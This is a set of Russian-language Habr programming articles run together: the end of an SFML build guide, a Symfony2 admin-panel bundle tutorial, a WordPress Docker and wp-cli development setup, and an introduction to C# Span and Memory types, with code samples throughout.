Если вы хотите использовать функции C++11 в вашем приложении на Mac OS X, вы должны использовать clang (официальный компилятор от Apple) и libc++. Кроме того, вам будет необходимо собрать SFML с помощью этих инструментов, чтобы исключить любую несовместимость между библиотеками SFML и компилятором.
Настройки, которые вы должны использовать при сборке SFML с clang и libc++:
* Выберите «Specify native compilers», а не «Use default native compilers» при выборе генератора.
* Установите опцию `CMAKE_CXX_COMPILER` в /usr/bin/clang++ (смотрите снимок экрана).
* Установите опцию `CMAKE_C_COMPILER` в /usr/bin/clang (смотрите снимок экрана).
* Установите опцию `CMAKE_CXX_FLAGS` и `CMAKE_C_FLAGS` в "-stdlib=libc++".
Сборка SFML
-----------
Давайте начнем с хорошей новости: вам больше не придется пройти через этап настройки, даже если вы будете обновлять вашу рабочую копию SFML. CMake умна: она добавляет настраиваемый шаг генерации файлов сборки/проекта, что означает, что эти файлы регенерируются без внесения изменений.
Теперь вы можете собрать SFML. Конечно, как это сделать зависит от того, что именно вы сгенерировали (файлы сборки или проект). Если был сгенерирован проект/решение/рабочее пространство, откройте его в вашей IDE и соберите SFML, как если бы это был любой другой проект. Мы не будем вдаваться в подробности, так как существует слишком много разных сред разработки; мы предполагаем, что вы знаете, как использовать вашу IDE, и сможете выполнить эту несложную задачу самостоятельно.
Если вы сгенерировали makefile, откройте командную строку и выполнить команду make для вашей среды. Например, «nmake», если вы сгенерировали файл сборки NMake (Visual Studio), «mingw32-make», если был сгенерирован MinGW(GCC) makefile или просто «make», если вы сгенерировали Linux makefile.
Примечание: на Windows, программа make (nmake или mingw32-make) может быть недоступна. Если это так, не забудьте добавить ее расположение в переменную окружения PATH. Для уточнения см. раздел «Конфигурация вашей сборки SFML».
По умолчанию при сборке проекта будет собрано все (все библиотеки SFML, а также примеры использования SFML, если вы установили опцию SFML\_BUILD\_EXAMPLES). Если вы хотите собрать конкретную библиотеку SFML или конкретный пример использования библиотеки, вы можете выбрать различные цели сборки. Вы также можете выбрать в качестве цели очистку директории сборки, установку собранных фалов, используя соответствующие цели сборки (install и clean).
Ниже приведены все доступные цели сборки, зависящие от параметров, выбранных при конфигурации:
| Цель | Значение |
| --- | --- |
| `all` | Цель по умолчанию. Используется, если не было указано цели сборки. Происходит сборка всех целей, в результате использования которых получаются бинарные файлы (библиотеки SFML и примеры). |
| `sfml-system
sfml-window
sfml-network
sfml-graphics
sfml-audio
sfml-main` | Строит соответствующие библиотеки SFML. Цель «sfml-main» доступна только при сборке для Windows. |
| `cocoa
ftp
opengl
pong
shader
sockets
sound
sound-capture
voip
window
win32
X11` | Сборка соответствующих примеров SFML. Эти цели доступны только если включен параметр `SFML_BUILD_EXAMPLES`. Помните, что некоторые цели доступны только на определенных операционных системах («cocoa» доступна только на Mac OS X, «win32» доступна только на Windows, «X11» доступна только на Linux и так далее). |
| `doc` | Генерация документация по API. Эта цель доступна только если включен параметр `SFML_BUILD_DOC`. |
| `clean` | Удаление всех объектных файлов, библиотек и примеров, созданных во время предыдущей сборки. В большинстве случаев вам не надо вызывать сборку с этой целью, за исключением тех ситуаций, когда вы хотите пересобрать SFML (при обновлении исходных кодов некоторые файлы могут быть не совместимы с существующими объектными фалйами и очистка является единственным решением этой проблемы). |
| `install` | Установка SFML по стандартному пути, заданному параметром `CMAKE_INSTALL_PREFIX` или `CMAKE_INSTALL_FRAMEWORK_PREFIX`. Происходит копирование всех библиотек и заголовочных файлов SFML, а также примеров и документации, если были установлены параметры `SFML_BUILD_EXAMPLES` и `SFML_BUILD_DOC`. После установки вы получите читый дистрибутив SFML, как если бы вы загрузили SDK или установили SFML из пакетного репозитария вашего дистрибутива. |
Если вы используете IDE, то цель — это просто проект. Что бы собрать цель, выберите соответствующий проект и скомпилируйте его (даже «clean» и «install» должны быть собраны, что бы быть выполненными. Пусть вас не смущает тот факт, что исходные коды не будут компилироваться). Если вы используете файлы сборки, для сборки цели передайте имя цели команде make. Например, «nmake doc», «mingw32-make install», «make sfml-network».
Теперь вы успешно построили SFML. Поздравляем!
Следующая статья: [Обработка времени](https://habrahabr.ru/post/279347/ "Перейти к статье: Обработка времени"). | https://habr.com/ru/post/279279/ | null | ru | null |
# Symfony2. Универсальный инструмент для быстрого приготовления табличных списков в административной панели
Речь пойдет о бандле для Symfony2, первую версию которого я написал более двух лет назад. Всё это время я и мои коллеги активно его использовали, бандл периодически улучшался. Решил поделиться им с сообществом.
Практически в любом приложении требуется выводить табличный список сущностей, обязательно должна быть пагинация, неплохо также иметь возможность сортировки по всем полям и гибкую фильтрацию. Именно эти задачи и решает предоставленный на ваш суд AdminPanelBundle. Конечно, это не что-то новое — та же SonataAdminBundle предоставляет подобный функционал, но Соната — это монстр (в хорошем смысле этого слова), с кучей настроек и зависимостей, а моей целью было реализация быстрой и гибкой навигации по большим табличным массивам.
Что может бандл:
* На входе может быть *array, Doctrine\ORM\Query, Doctrine\ORM\QueryBuilder, Doctrine\Common\Collection\ArrayCollection*
* Выводятся только определённые поля (свойства)
* Для любого поля (свойства) можно определить неограниченное кол-во фильтров (AND, OR) с выбором оператора (=, >, <, LIKE, etc...)
* Для любого поля можно включить/отключить сортировку
* При применении фильтра параметры фильтрации запоминаются в сессии, и при повторном посещении страницы применяются
* Есть возможность выводить автосумму по любому числовому столбцу
Демонстрацию можно посмотреть [здесь](http://admin-panel.zeka.guru/), исходный код [здесь](https://github.com/zk2/admin-panel-bundle).
Установка и базовая конфигурация
--------------------------------
Как обычно — запускаем
```
composer require "zk2/admin-panel-bundle:dev-master"
```
Бандл использует *knplabs/knp-paginator-bundle* и *braincrafted/bootstrap-bundle*, если они отсутствуют в вашем приложении, то будут установлены
**Настройка KnpPaginatorBundle**В app/AppKernel.php инициализируем бандл
```
// app/AppKernel.php
public function registerBundles()
{
return array(
// ...
new Knp\Bundle\PaginatorBundle\KnpPaginatorBundle(),
// ...
);
}
```
**Настройка BraincraftedBootstrapBundle**В app/AppKernel.php инициализируем бандл
```
// app/AppKernel.php
public function registerBundles()
{
return array(
// ...
new Braincrafted\Bundle\BootstrapBundle\BraincraftedBootstrapBundle(),
// ...
);
}
```
Настройка хорошо описана [здесь](http://bootstrap.braincrafted.com/getting-started.html#configuration), если по быстрому, то:
```
# app/config/config.yml
.......
# Assetic Configuration
assetic:
debug: "%kernel.debug%"
use_controller: false
bundles: [ ]
filters: # с использованием node
less:
node: /usr/bin/node # путь узнать можно выполнив $ whereis node
node_paths: [/usr/lib/node_modules] # $ whereis node_modules
apply_to: "\.less$"
cssrewrite: ~
braincrafted_bootstrap:
less_filter: less
jquery_path: %kernel.root_dir%/../web/js/jquery-1.11.1.js # путь к jQuery
```
Далее выполняем:
```
php app/console braincrafted:bootstrap:install
php app/console assetic:dump
```
В app/AppKernel.php инициализируем бандл, в app/config/config.yml дописываем необходимые настройки:
```
// app/AppKernel.php
public function registerBundles()
{
return array(
// ...
new Zk2\Bundle\AdminPanelBundle\Zk2AdminPanelBundle(),
// ...
);
}
```
```
# app/config/config.yml
......
twig:
......
form:
resources:
- "Zk2AdminPanelBundle:AdminPanel:bootstrap_form_div_layout.html.twig"
# настройки бандла по умолчанию
zk2_admin_panel:
check_flag_super_admin: false # -- если true, то сущность пользователя должна иметь метод "flagSuperAdmin()", возвращающий булево значение
pagination_template: Zk2AdminPanelBundle:AdminPanel:pagination.html.twig # - шаблон блока пагинации
sortable_template: Zk2AdminPanelBundle:AdminPanel:sortable.html.twig # - шаблон ссылки для сортировки в колонках таблицы
```
И подгружаем стили, иконки и пр.
```
php app/console asset:install web --symlink
```
Использование
-------------
Продемонстрирую на примере небольшого приложения [«Автомобили»](http://admin-panel.zeka.guru/).
Структура классическая — Страна -> Бренд -> Модель
Не судите строго за заполненные данные — всё «от фонаря».
Контроллер должен наследоваться от Zk2\Bundle\AdminPanelBundle\AdminPanel\AdminPanelController
Родительский конструктор принимает:
* Основную сущность
* Алиас для этой сущности
* Необязательный параметр «название entity\_manager» — по умолчанию «default»
```
namespace AppBundle\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Zk2\Bundle\AdminPanelBundle\AdminPanel\AdminPanelController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Security\Core\Exception\AccessDeniedException;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
class DefaultController extends AdminPanelController
{
/**
* Constructor
*/
public function __construct()
{
parent::__construct('AppBundle\Entity\Model','m');
}
```
listAction — основной метод
```
/**
* listAction
*
* @Route("/", name="model_list")
*
* @return renderView
*/
public function listAction( Request $request )
{
// Если есть разграничение прав доступа
// Метод isZk2Granded приинимает роль или массов ролей
// если в app/config.yml параметр zk2_admin_panel.check_flag_super_admin == true,
// метод проверяет наличие "полного доступа"
/*
if ( false === $this->isZk2Granded(array('ROLE_LIST')) )
{
throw new AccessDeniedException();
}*/
// при сбросе всех фильтров
if( $this->isReset() )
{
return $this->redirect( $this->generateUrl( $this->get('request')->get('_route') ) );
}
// построение колонок таблицы
$this->buildListFields();
// структура колонок таблицы для передачи в шаблон
$items = $this->getListFields();
// инициализируем запрос
$this->getEm()->buildQuery();
// сам запрос может содержать как обращение к объектам -- "m,b,c" ,
// так и к конкретным свойствам объектов -- "b.id AS brand_id,b.name AS brand_name,m.name,m.color"
// разница в том, что в первом случае запрос возвращает коллекцию объектов, а это может быть накладно
// а во втором случае возвращается обычный массив массивов
$this->getQuery()
->select(
'b.id AS brand_id,b.name AS brand_name,c.name AS country_name,b.logo,m.id AS id,m.name,'
.'m.color,m.airbag,m.sales,m.speed,m.price,m.dateView')
->leftJoin('m.brand','b')
->leftJoin('b.country','c')
;
// сортировка по умолчанию
if( !$this->get('request')->query->has('sort') )
{
$this->getQuery()->orderBy('m.id','DESC');
}
// строим фильтры
$this->buildFilterFields();
// применяем фильтры
$this->checkFilters();
// инициализируем KnpPaginator
$pagination = $this->getPaginator(30);
// форма фильтров для передачи в шаблон
$filter_form = $this->getViewFiltersForm();
// если необходима автосумма каких-то колонок
$this->initAutosum();
$autosum = $this->getSumColumns();
return $this->render('AppBundle:Model:list.html.twig', array(
'results' => $pagination,
'items' => $items,
'filter_form' => $filter_form,
// будет ли кнопка для создания новой сущности
'is_new' => false, //$this->isZk2Granded(array('ROLE_NEW_ITEM')),
'autosum' => $autosum,
// формат чисел по умолчанию (PHP::number_format), можно переопределять для каждой колонки
'zkNumberFormat' => array('0','.',' '),
));
}
```
Построение колонок таблицы:
Метод addInList принимает массив:
* свойство сущности
* заголовок колонки (метод trans — аналог стандартной функции Symfony. Принимает значение, домен, массив параметров)
* алиас сущности
* массив опций
Дефолтные значения массива опций:
* 'sort' => true, — сортировка столбца
* 'func' => null, — функции (dateTimeFormat)
* 'filter' => null, — фильтры (yes\_no)
* 'method' => null, — название свойства или метода
* 'autosum' => null, — уникальный алиас для автосуммы
* Так-же в массиве опций могут присутствовать:
* 'link\_id' => 'brand\_edit' — имя роута
* 'lid' => 'brand\_id' — свойство или название метода для передачи ID в роут
* 'style' => 'text-align:center' — любой css стиль (применится к ячейке таблицы)
* 'icon\_path' => '/img/' — обернётся в тэг img src="{icon\_path}значение"
* 'icon\_width' => 24 — используется с icon\_path (ширина картинки)
* 'zkNumberFormat' => array(2,'.',' ') — PHP::number\_format
* 'dateTimeFormat' => 'Y-m-d' — используется для func::dateTimeFormat
Подробнее про опции и их использование можно посмотреть в исходном коде *AdminPanelBundle/Resources/views/AdminPanel/adminList.html.twig*
Можно передавать любые свои опции, но тогда нужно переопределить шаблон adminList.html.twig одним из способов переопределения в Symfony и обрабатывать их на своё усмотрение:
```
/**
* Построение колонок таблицы
*/
public function buildListFields()
{
$this
->addInList(array(
'name', // свойство сущности
$this->trans('Brand','messages'), // заголовок колонки
'b', // алиас сущности
array(
// если наш запрос возвращает простой массив, то здесь алиас ( b.name AS brand_name )
// иначе здесь дложно быть название метода, который определён в базовой сущности
// ( в нашем случае Model::getBrandName() )
'method' => 'brand_name',
// Название бренда будет ссылкой ( @Route("/brand/{id}/edit", name="brand_edit") )
'link_id' => 'brand_edit',
// если наш запрос возвращает простой массив, то здесь алиас ( b.id AS brand_id )
// иначе здесь дложно быть название метода, который определён в базовой сущности
// ( в нашем случае Model::getBrandId() )
// если link_id определён, а lid нет, то в роут подставится ID из базовой сущности
'lid' => 'brand_id'
),
))
->addInList(array(
'name',
$this->trans('Country','messages'),
'c',
array(
'method' => 'country_name',
),
))
->addInList(array(
'logo',
$this->trans('Logo','messages'),
'b',
array(
'sort' => false,
'style' => 'text-align:center',
'icon_path' => '/img/'
),
))
->addInList(array(
'name',
$this->trans('Model','messages'),
'm',
array(
'link_id' => 'model_edit',
),
))
->addInList(array(
'color',
$this->trans('Color','messages'),
'm',
array(
'style' => 'text-align:center'
),
))
->addInList(array(
'airbag',
$this->trans('Airbag','messages'),
'm',
array(
'filter' => 'yes_no', // Будет выводиться "Да" или "Нет"
'style' => 'text-align:center'
),
))
->addInList(array(
'sales',
$this->trans('Sales','messages'),
'm',
array(
'autosum' => 'sales_sum', // Будет подсчитана сумма колонки
'style' => 'text-align:center'
),
))
->addInList(array(
'speed',
$this->trans('Max speed','messages'),
'm',
array(
'style' => 'text-align:center'
),
))
->addInList(array(
'price',
$this->trans('Price','messages'),
'm',
array(
'style' => 'text-align:center',
'zkNumberFormat' => array(2,'.',' ')
),
))
->addInList(array(
'dateView',
$this->trans('Date','messages'),
'm',
array(
'func' => 'dateTimeFormat', // Для DateTime
'dateTimeFormat' => 'Y-m-d',
'style' => 'text-align:center'
),
))
;
}
```
Построение фильтров:
Метод addInFilter принимает массив:
* 'b\_name' — алиас и название свойства через нижнее подчёркивание
* 'zk2\_admin\_panel\_XXXXX\_filter' — тип фильтра
* Название фильтра
* количество фильтров для поля
* набор доступных операторов (LIKE, =, >, <, etc...). Подробнее — *AdminPanel/ConditionOperator.php*
* массив параметров
Типы фильтров:
* 'zk2\_admin\_panel\_boolean\_filter' — булев фильтр (да/нет)
* 'zk2\_admin\_panel\_choice\_filter' — выпадаючий список, определённый тут-же
* 'zk2\_admin\_panel\_date\_filter' — фильтр по дате
* 'zk2\_admin\_panel\_entity\_filter' — выпадаючий список, содержащий сущности (выполняется запрос к БД)
* 'zk2\_admin\_panel\_text\_filter' — обычное текстовое поле
```
/**
* Построение фильтров
*/
public function buildFilterFields()
{
$this
->addInFilter(array( // -- выпадаючий список, содержащий сущности
'b_name',
'zk2_admin_panel_entity_filter',
$this->trans('Brand','messages'),
5,
'smal_int',
array(
'entity_type' => 'entity',
'entity_class' => 'AppBundle\Entity\Brand',
'property' => 'name',
'sf_query_builder' => array( // Если необходимо ограничить запрос условием
'alias' => 'b',
'where' => 'b.id IS NOT NULL',
'order_field' => 'b.name',
'order_type' => 'ASC',
)
)))
->addInFilter(array(
'm_name',
'zk2_admin_panel_text_filter',
$this->trans('Model','messages'),
5,
'light_text'
))
->addInFilter(array( // выпадаючий список, определённый тут-же
'm_color',
'zk2_admin_panel_choice_filter',
$this->trans('Color','messages'),
5,
'smal_int',
array('sf_choice' => array(
'black' => 'black',
'blue' => 'blue',
'brown' => 'brown',
'green' => 'green',
'red' => 'red',
'silver' => 'silver',
'white' => 'white',
'yellow' => 'yellow',
)),
))
->addInFilter(array(
'm_airbag',
'zk2_admin_panel_boolean_filter',
$this->trans('Airbag','messages'),
))
->addInFilter(array(
'm_door',
'zk2_admin_panel_text_filter',
$this->trans('Number of doors','messages'),
5,
'medium_int'
))
->addInFilter(array(
'm_speed',
'zk2_admin_panel_text_filter',
$this->trans('Max speed','messages'),
5,
'medium_int'
))
->addInFilter(array(
'm_prise',
'zk2_admin_panel_text_filter',
$this->trans('Price','messages'),
5,
'medium_int'
))
->addInFilter(array( // фильтр по дате
'm_dateView',
'zk2_admin_panel_date_filter',
$this->trans('Date','messages'),
2
))
;
}
```
Методы для форм
```
/**
* edit Brand Action
*
* @Route("/brand/{id}/edit", name="brand_edit")
*
* @param Request $request
* @param integer $id
*
* @return renderView
*/
public function editBrandAction( Request $request, $id )
{
............
}
/**
* edit Action
*
* @Route("/model/{id}/edit", name="model_edit")
*
* @param Request $request
* @param integer $id
*
* @return renderView
*/
public function editAction( Request $request, $id )
{
.....
}
}
```
Ну и очень простой шаблон
```
# AppBundle:Model:list.html.twig
{% extends "Zk2AdminPanelBundle::base.html.twig" %}
{% block zk2_title %}Models list{% endblock %}
{% block zk2_h %}General list
============
{% endblock %}
{% block zk2_body %}
{% if filter_form %}
{% include 'Zk2AdminPanelBundle:AdminPanel:adminFilter.html.twig' with {
'filter_form': filter_form,
'colspan': 2, {# кол-во колонок в таблице фильтра #}
'this_path': path('model_list')
} %}
{% endif %}
{% include 'Zk2AdminPanelBundle:AdminPanel:adminList.html.twig' with {
'items': items,
'results': results,
'Zk2NumberFormat': zkNumberFormat
} %}
{% if is_new %}
Кнопка "Создать"
{% endif %}
{% endblock %}
``` | https://habr.com/ru/post/250039/ | null | ru | null |
# Еще один вариант среды для разработки WordPress (docker, wp-cli)
Есть официальные образы для развертывания WordPress и использования wp-cli. Но при их совместном использовании мне приходилось расшаривать всю папку WordPress и хотелось, чтобы было больше возможностей для кастомизации установки.
Очень хотелось после запуска контейнера видеть в браузере не приглашение к выбору языка установки, а готовый сайт.
Эта статья предлагает один из способов развертывания сайтов на WordPress.
Установка
---------
```
git clone https://github.com/eustatos/wordpress-docker-dev-env.git
```
или, если предпочитаете `ssh`:
```
git clone git@github.com:eustatos/wordpress-docker-dev-env.git
```
Затем:
```
cd wordpress-docker-dev-env
docker-compose up -d
docker-compose exec -T wp-cli sh < install.sh
```
На этом установка окончена. Откройте `localhost:8080` в предпочитаемом браузере.
Доступ к админ панели `localhost:8080/wp-admin`.
Логин пользователя — `admin`
Пароль пользователя — `123`
Изменить эти и другие переменные окружения и установки можно в файлах `site.env` и `.env`.
В папке проекта появляется папка `wp-content`, где можно создавать и\или изменять темы и плагины.
Если есть проблемы с правами на файлы в папке `wp-content`:
```
sudo usermod -a -G www-data $USER
```
Кастомизация сборки
-------------------
Вы можете управлять сборкой, как удобно. Например, если не нужно создавать темы и\или плагины по-умолчанию — просто внесите изменения в `install.sh`.
```
#!/usr/bin/env bash
wp core download --force --allow-root
wp config create \
--dbhost=$WORDPRESS_DB_HOST \
--dbname=$WORDPRESS_DB_NAME \
--dbuser=$WORDPRESS_DB_USER \
--dbpass=$WORDPRESS_DB_PASSWORD \
--allow-root
wp core install \
--title=$TITLE \
--url=$URL \
--admin_user=$ADMIN_USER \
--admin_password=$ADMIN_PASSWORD \
--admin_email=$ADMIN_EMAIL \
# add for skip creation default themes
--skip-themes
# add for skip creation default plugins
--skip-plugins
--allow-root
```
Полее подробно о возможностях `wp core install` можно узнать
[здесь](https://developer.wordpress.org/cli/commands/core/install/)
Пример создания темы
--------------------
Например, для создания темы основанной на `underscores`выполните следующую команду
```
docker-compose exec -T wp-cli wp scaffold _s \
sample-theme \
--theme_name="Sample Theme" \
--author="John Doe"
```
Эта команда создаст папку `sample-theme` в папке`wp-content` с файлами темы и вы можете тут же начать ее модифицировать.
В завершении, короткое видео для наглядности: | https://habr.com/ru/post/461999/ | null | ru | null |
# Повышаем производительность C# кода с помощью Span<T> и Memory<T>
Эта статья познакомит вас с новыми типами, представленными в C# 7.2: Span и Memory. Я подробно разберу Span и Memory и покажу, как работать с ними в C#.
### Что вам понадобится
Если вы хотите сами протестировать примеры кода, приведенные в этой статье, на вашем компьютере должно быть установлено следующее:
* Visual Studio 2022
* .NET 6.0
* ASP.NET 6.0 Runtime
Если на вашем компьютере еще не установлена Visual Studio 2022, вы можете скачать ее [отсюда](https://visualstudio.microsoft.com/downloads/).
### Типы памяти, поддерживаемые в .NET
Microsoft .NET позволяет работать с тремя типами памяти:
* **Стековая память:** находится в стеке (Stack) и выделяется с помощью ключевого слова stackalloc
* **Управляемая память:** находится в куче (heap) и управляется сборщиком мусора (GC)
* **Неуправляемая память:** находится в неуправляемой куче (unmanaged heap) и выделяется путем вызова методов `Marshal.AllocHGlobal` или `Marshal.AllocCoTaskMem`.
### Типы, добавленные в .NET Core 2.1
Новые типы, представленные в .NET Core 2.1:
* **System.Span:** является типобезопасным *memory-safe* представлением непрерывной области произвольной памяти.
* **System.ReadOnlySpan:** является типобезопасным *memory-safe* представлением непрерывной области произвольной памяти предназначенной только для чтения.
* **System.Memory:** представляет непрерывную область памяти.
* **System.ReadOnlyMemory:** Подобно `ReadOnlySpan`, этот тип представляет собой непрерывную область памяти, доступную только для чтения. Однако, в отличие от `ReadOnlySpan`, он не является ByRef типом.
### Доступ к непрерывной памяти: Span и Memory
Нам все чаще приходится работать с огромными объемами данных в наших приложениях. То, как мы обрабатываем строки, имеет решающее значение для производительности любого приложения, поскольку существуют практические приемы, реализовав которые, мы можем избежать излишних аллокаций памяти. Мы можем использовать небезопасные (unsafe) блоки кода и указатели для прямой манипуляции памятью, но этот подход сопряжен со значительными рисками. Манипуляции с указателями подвержены ошибкам, таким как переполнение, доступ по указателю на null, переполнение буфера и, конечно, висячие указатели. Если баг затрагивает только стек или области статической памяти, то он не особо опасен; но если он вдруг затронет критические области системной памяти, это может привести к сбою нашего приложения. И здесь к нам на помощь спешат Span и Memory.
Span и Memory появились в .NET недавно. Они обеспечивают типобезопасный способ доступа к непрерывным областям произвольной памяти. И Span и Memory являются частью пространства имен System и представляют непрерывный блок памяти без какой-либо семантики копирования. Span, Memory, ReadOnlySpan и ReadOnlyMemory были добавлены в C# недавно с целью помочь вам работать с памятью напрямую безопасно и эффективно.
Эти новые типы являются частью `System.Memory` и предназначены для использования в сценариях, где высокая производительность является критическим показателем, когда необходимо обрабатывать большие объемы данных или по максимуму избегать излишних аллокаций памяти, как, например, при работе с буферами. В отличие от массивов, которые выделяют память в куче со сборщиком мусора, эти новые типы обеспечивают абстракцию над непрерывными (смежными) областями произвольной управляемой или нативной памяти, избегая аллокации в куче со сборщиком мусора.
Структуры Span и Memory предоставляют низкоуровневые интерфейсы для массива, строки или любого другого непрерывного блока управляемой или неуправляемой памяти. Их основная задача заключается в поддержке микрооптимизации и написания кода с минимальной аллокацией памяти, с целью уменьшить объемы выделения управляемой памяти, тем самым снижая нагрузку на сборщик мусора. Они также реализуют слайсинг (нарезку) и позволяют работать с разделом массива, строки или блока памяти без дублирования исходного фрагмента памяти. Span и Memory невероятно полезны в высокопроизводительных областях, таких как конвейеры обработки запросов ASP.NET 6.
### Пара слов о Span
Span (ранее известный как Slice) — это значимый тип, представленный в C# 7.2 и .NET Core 2.1, который минимизирует накладными расходы на работу с памятью. Он обеспечивает типобезопасный способ работы с непрерывными блоками памяти, такими как:
* Массивы и подмассивы
* Строки и подстроки
* Буферы неуправляемой памяти
Тип Span представляет собой непрерывный блок памяти, который находится в управляемой куче, стеке или даже в неуправляемой памяти. Если вы создаете массив над примитивным типом, он размещается в стеке и не требует управления его жизненным циклом сборщиком мусора. Span может указывать на фрагмент памяти, выделенный в стеке или в куче. Однако, поскольку Span определен как ref struct, сам он может размещаться только в стеке.
Вот несколько характеристик Span :
* Значимый тип
* Низкие или близкие к нулю накладные расходы
* Высокая производительность
* Обеспечивает безопасность памяти и типов
Вы можете использовать Span с любым из следующих типов:
* Массивы
* Строки
* Нативные буферы
Список типов, которые можно преобразовать в Span :
* Массивы
* Указатели
* IntPtr
* stackalloc
Вы можете преобразовать в ReadOnlySpan все из нижеперечисленного:
* Массивы
* Указатели
* IntPtr
* stackalloc
* Строки
Span — это чисто стековый тип; точнее, это ByRef тип. Таким образом, спаны (диапазоны/интервалы) не могут быть ни упакованы, ни отображаться как поля стекового типа, ни использоваться в качестве параметров генериков. Однако вы можете использовать спаны для представления возвращаемых значений или аргументов метода. Фрагмент кода, приведенный ниже, иллюстрирует полный исходный код структуры Span:
```
public readonly ref struct Span
{
internal readonly
ByReference \_pointer;
private readonly int \_length;
// Остальные функции-члены
}
```
Полный исходный код Span можно найти [здесь](https://github.com/dotnet/corefx/blob/master/src/Common/src/CoreLib/System/Span.cs).
Глядя на исходный код Span мы видим, что он в целом состоит из двух полей, доступных только для чтения: нативного указателя и свойства length отражающего количество элементов, содержащихся в Span.
Span можно использовать так же, как и массив. Однако, в отличие от массивов, он может ссылаться на стековую память, т. е. память, выделенную в стеке, управляемой памяти и нативной памяти. Это дает нам простой способ воспользоваться улучшениями производительности, которые ранее были доступны только при работе с неуправляемым кодом.
Вот как Span объявляется в пространстве имен System:
```
public readonly ref struct Span
```
Пустой Span вы можете создать с помощью свойства `Span.Empty`:
```
Span span = Span.Empty;
```
В следующем фрагменте кода продемонстрировано, как можно создать массив байтов в управляемой памяти, а затем создать из него инстанс спана.
```
var array = new byte[100];
var span = new Span(array);
```
### Работа со Span в C#
Выделить фрагмент памяти в стеке и заставить Span на него указывать можно следующим образом:
```
Span span = stackalloc byte[100];
```
В следующем фрагменте кода показано, как создать Span на основе массива байтов, сохранить целые числа внутри этого массива, а затем вычислить сумму всех сохраненных целых чисел.
```
var array = new byte[100];
var span = new Span(array);
byte data = 0;
for (int index = 0; index < span.Length; index++)
span[index] = data++;
int sum = 0;
foreach (int value in array)
sum += value;
```
Следующий фрагмент кода создает Span из нативной памяти:
```
var nativeMemory = Marshal.AllocHGlobal(100);
Span span;
unsafe
{
span = new Span(nativeMemory.ToPointer(), 100);
}
```
Затем вы можете использовать следующий фрагмент кода, чтобы сохранить целые числа в памяти, на которую указывает Span, и отображать сумму всех сохраненных целых чисел:
```
byte data = 0;
for (int index = 0; index < span.Length; index++)
span[index] = data++;
int sum = 0;
foreach (int value in span)
sum += value;
Console.WriteLine ($"The sum of the numbers in the array is {sum}");
Marshal.FreeHGlobal(nativeMemory);
```
Вы также можете выделить Span в стековой памяти, используя `stackalloc`, как показано ниже:
```
byte data = 0;
Span span = stackalloc byte[100];
for (int index = 0; index < span.Length; index++)
span[index] = data++;
int sum = 0;
foreach (int value in span)
sum += value;
Console.WriteLine ($"The sum of the numbers in the array is {sum}");
```
Не забудьте включить компиляцию небезопасного кода в вашем проекте. Для этого кликните по проекту правой кнопкой мыши, выберите “**Properties**” и установите флажок “**Unsafe code**”, как показано на **рисунке 1**.
Рисунок 1: Включение небезопасной компиляции для вашего проекта, чтобы активировать небезопасный код.#### Span и массивы
Слайсинг (slicing) позволяет представлять данные в качестве логических фрагментов, которые затем можно обрабатывать с минимальными затратами ресурсов. С помощью Span можно обернуть как весь массив, так и, поскольку он поддерживает слайсинг, любую непрерывную область внутри этого массива. В следующем фрагменте кода показано, как можно использовать Span для указания на слайс из трех элементов в массиве:
```
int[] array = new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 9 } ;
Span slice = new Span(array, 2, 3);
```
Существует две перегрузки метода Slice, доступные в структуре Span, позволяющие создавать слайсы на основе индексов. Это позволяет данным Span быть представленными в виде ряд логических фрагментов, которые можно обрабатывать по отдельности или целыми секциями конвейера обработки данных в зависимости от ваших потребностей.
Вы можете использовать Span для обертки всего массива. Поскольку он поддерживает слайсы, он может указывать не только на первый элемент массива, но и на любой непрерывный диапазон элементов внутри этого массива.
```
foreach (int i in slice)
Console.WriteLine($"{i} ");
```
Если мы выполним фрагмент кода, приведенный выше, в консоли будут отображены целые числа, которые присутствуют в этом слайсе массива, как показано на **рисунке 2**.
#### Span и ReadOnlySpan
Инстанс ReadOnlySpan зачастую используется для ссылки на элементы массива или его фрагмент. В отличие от массивов, ReadOnlySpan могут ссылаться на нативную память, управляемую память или стековую память. И Span и ReadOnlySpan обеспечивают типобезопасное представление непрерывной области памяти. Span обеспечивает доступ для чтения и записи к области памяти, а ReadOnlySpan обеспечивает доступ только для чтения из сегмента памяти, как вы могли догадаться из его названия.
В следующем фрагменте кода показано, как можно использовать ReadOnlySpan для разделения строки на слайсы в C#:
```
ReadOnlySpan readOnlySpan = "This is a sample data for testing purposes.";
int index = readOnlySpan.IndexOf(' ');
var data = ((index < 0) ?
readOnlySpan : readOnlySpan.Slice(0, index)).ToArray();
```
### Пара слов о Memory
Memory — это ссылочный тип, который представляет непрерывную область памяти и имеет длину, но не обязательно начинается с нулевого индекса и может быть одной из многих областей внутри другого Memory. Память, представленная Memory, может даже не принадлежать вашему процессу, поскольку она могла быть выделена в неуправляемом коде. Memory удобен для представления данных в несмежных (не непрерывных) буферах, поскольку позволяет обращаться с ними как с одним непрерывным буфером без необходимости их копировать.
Memory определяется следующим образом:
```
public struct Memory
{
void\* \_ptr;
T[] \_array;
int \_offset;
int \_length;
public Span Span => \_ptr == null ? new Span(\_array, \_offset, \_length) : new Span(\_ptr, \_length);
}
```
В дополнение к Span, Memory обеспечивает безопасное и доступное для слайсинга представление любого непрерывного буфера, будь то массив или строка. В отличие от Span, он не ограничен одним лишь стеком, потому что это не ref-подобный тип. В результате вы можете разместить его в куче, использовать в коллекциях или с async-await, сохранить как поле или упаковать, как и любую другую обычную структуру в C#.
Свойство Span позволяет воспользоваться возможностями эффективной индексации, когда вам нужно изменить или обработать буфер, на который ссылается Memory. Напротив, Memory является более универсальным и высокоуровневым типом, чем Span, с неизменяемым (immutable) аналогом, предоставляющим доступ только для чтения, под названием ReadOnlyMemory.
Хотя и Span и Memory представляют непрерывный фрагмент памяти, в отличие от Span, Memory не является ref struct. Таким образом, в отличие от Span, вы можете резместить Memory в любом месте управляемой кучи. Следовательно, у вас нет тех же ограничений в Memory, как в Span. И вы можете использовать Memory как поле класса, а также в рамках await и yield.
#### ReadOnlyMemory
Подобно ReadOnlySpan, ReadOnlyMemory представляет доступ только для чтения к непрерывной области памяти, но в отличие от ReadOnlySpan, это не ByRef тип.
Давайте рассмотрим следующую строку, содержащую названия стран, разделенные пробелами.
```
string countries = "India Belgium Australia USA UK Netherlands";
var countries = ExtractStrings("India Belgium Australia USA UK Netherlands".AsMemory());
```
